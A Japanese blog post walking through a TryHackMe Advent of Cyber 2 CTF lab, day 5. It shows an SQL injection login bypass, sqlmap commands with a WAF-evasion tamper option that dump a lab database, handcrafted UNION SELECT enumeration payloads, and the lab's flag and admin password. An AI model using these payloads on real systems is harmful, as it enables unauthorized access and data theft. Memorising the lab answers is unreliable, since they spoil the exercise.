1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

[TryHackMe] Advent of Cyber 2, Day 5 - Walkthrough -

Last updated at Posted at 2020-12-07

本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。

『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。

[Day 5] Web Exploitation: Someone stole Santa's gift list!

ストーリー

Day 05.png

昨年の攻撃後、サンタさんとセキュリティチームはサンタさんの個人ポータルの復活に懸命に取り組んできました。その結果、「サンタのフォーラム2」が公開されました。

攻撃の後、誰かがウェブサイト上のサンタのパネルを見つけ、彼のアカウントにログインしたことがログから明らかになりました。 ログイン後、ギフトリストのデータベース全体をダンプして、2020年のギフトをすべて手に入れることができました。攻撃者は、すべての情報を含むwishlist.txtファイルを公開すると脅してきましたが、幸いなことに、その前に CBI(Christmas Bureau of Investigation) に捕まっていました。MACHINE_IP:8000では、ウェブサイトの複製が用意されています。あなたの目標は、ギフトのリストをダンプし、攻撃者の行動を再現することですよ!

チャレンジ

Firefoxで脆弱なアプリケーションにアクセスし、サンタの秘密のログインパネルを見つけて、ログインをバイパスしてください。今日の課題で取り上げたコマンドやツールをいくつか使って、問題#3から#6に答えてください。

サンタさんがアプリケーションをセットアップするときに書いたドキュメントを読みます。

Santa's TODO: sqliteよりも優れた代替データベースシステムを見てください。また、昨年の攻撃の後に Web Application Firewall(WAF) をインストールしたことも忘れないでください。コマンドを忘れてしまった場合に備えて、--tamper=space2comment オプションを指定して SQLMapWAF を回避するように指示することができます。

Day 5 - #1.

Without using directory brute forcing, what's Santa's secret login panel?

まずは、Santa's Official Forumへアクセスします。[Deploy]ボタンをクリックします。
ブラウザにて割り振られたMACHINE_IP:8000にアクセスします。Santa's Official Forumの画面が表示されます。
Santas forum.png

出題には「ブルートフォース攻撃を使わずに」とあります。さっぱりわかりません。
[Hint]を参照しました。
Question Hint.png
なるほど。「s**ta」と「p***l」からなる2つの単語にて構成されているようです。

santapanel.png

Day 5 - #2.

Visit Santa's secret login panel and bypass the login using SQLi

Username' OR 1=1--を指定してみましょう。
SQLi.png

あっさりとパスワード認証をバイパスすることに成功しました。
Santa Admin panel.png

Day 5 - #3.

How many entries are there in the gift database?

Santa's admin panelEnterフォームに任意の文字列を入力し、[Search]ボタンをクリックします。
このときのリクエストをBurp Suiteで記録します。

santa.png

[Proxy]タブにて右クリックメニューを表示し[Send to Repeater]を選択します。
Repeater.png

[Repeater]タブにて右クリックメニューを表示し[Save item]を選択します。このときファイル名はget_requestを指定しています。
get_response.png

sqlmapコマンドを使ってデータベースにアクセスします。[チャレンジ]項目に記載のサンタさんがアプリケーションをセットアップするときに書いたドキュメントを読み返してください。
コマンド構文は次のとおりです。

kali@kali:~$ sqlmap -r get_request --tamper=space2comment --dump-all --dbms sqlite

sqlmap.png

Day 5 - #4.

What did Paul ask for?

sequelsテーブルを参照すれば解答が得られます。

Database: SQLite_masterdb
Table: sequels
[22 entries]
+-------------+-----+----------------------------+
| kid         | age | title                      |
+-------------+-----+----------------------------+
| James       | 8   | shoes                      |
| John        | 4   | skateboard                 |
| Robert      | 17  | iphone                     |
| Michael     | 5   | playstation                |
| William     | 6   | xbox                       |
| David       | 6   | candy                      |
| Richard     | 9   | books                      |
| Joseph      | 7   | socks                      |
| Thomas      | 10  | 10 McDonalds meals         |
| Charles     | 3   | toy car                    |
| Christopher | 8   | air hockey table           |
| Daniel      | 12  | lego star wars             |
| Matthew     | 15  | bike                       |
| Anthony     | 3   | table tennis               |
| Donald      | 4   | fazer chocolate            |
| Mark        | 17  | wii                        |
| Paul        | 9   | github ownership           |
| James       | 8   | finnish-english dictionary |
| Steven      | 11  | laptop                     |
| Andrew      | 16  | rasberry pie               |
| Kenneth     | 19  | TryHackMe Sub              |
| Joshua      | 12  | chair                      |
+-------------+-----+----------------------------+

gift database.png

Day 5 - #5.

What is the flag?

hidden_tableテーブルを参照すれば解答が得られます。

Database: SQLite_masterdb
Table: hidden_table
[1 entry]
+-----------------------------------------+
| flag                                    |
+-----------------------------------------+
| thmfox{All_BLOCKED_You}                 |              
+-----------------------------------------+

Day 5 - #6.

What is admin's password?

usersテーブルを参照すれば解答が得られます。

Database: SQLite_masterdb
Table: users
[1 entry]
+------------------+----------+
| password         | username |
+------------------+----------+
| EhCNSWzzFP6sc7gB | admin    |
+------------------+----------+

password.png

これにてフラグの取得に成功しました。

5日目のミッションが終了です。

別解:ハンドクラフトなSQLi

ここではsqlmapコマンドを使わずに解答する方法について検討します。

SQLiの可能性

Santa's admin panelEnterフォームに'記号を入力し、[Search]ボタンをクリックします。
error.png

結果、次のエラーが表示されます。

unrecognized token: "'"

さらに、データとして''記号を入力し、[Search]ボタンをクリックします。このとき、エラーは回避されました。
quotation.png

単一のシングルクォーテーション'を指定した場合、SQL構文のエラーを示すメッセージが返答されました。さらに、2つのシングルクォーテーション''を指定した場合、エラーが回避されました。
一連の反応からSanta's admin panelはSQLインジェクション攻撃に対して脆弱である可能性を推定することができました。

列数の探索

エラーが発生するまでORDER BYクエリを挿入します。3を指定したときにエラーが返答されました。結果、Santa's admin panelは2列であることが特定できました。
ORDERBY.png

テーブルの列挙

次のクエリを使ってテーブルを列挙します。

' UNION SELECT 1, tbl_name FROM sqlite_master--

table.png

列の列挙

次のクエリを使って列を列挙します。

' UNION SELECT 1, sql FROM sqlite_master--

columns.png

参考になるTryHackMeのルーム

参考情報

Walkthrough

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?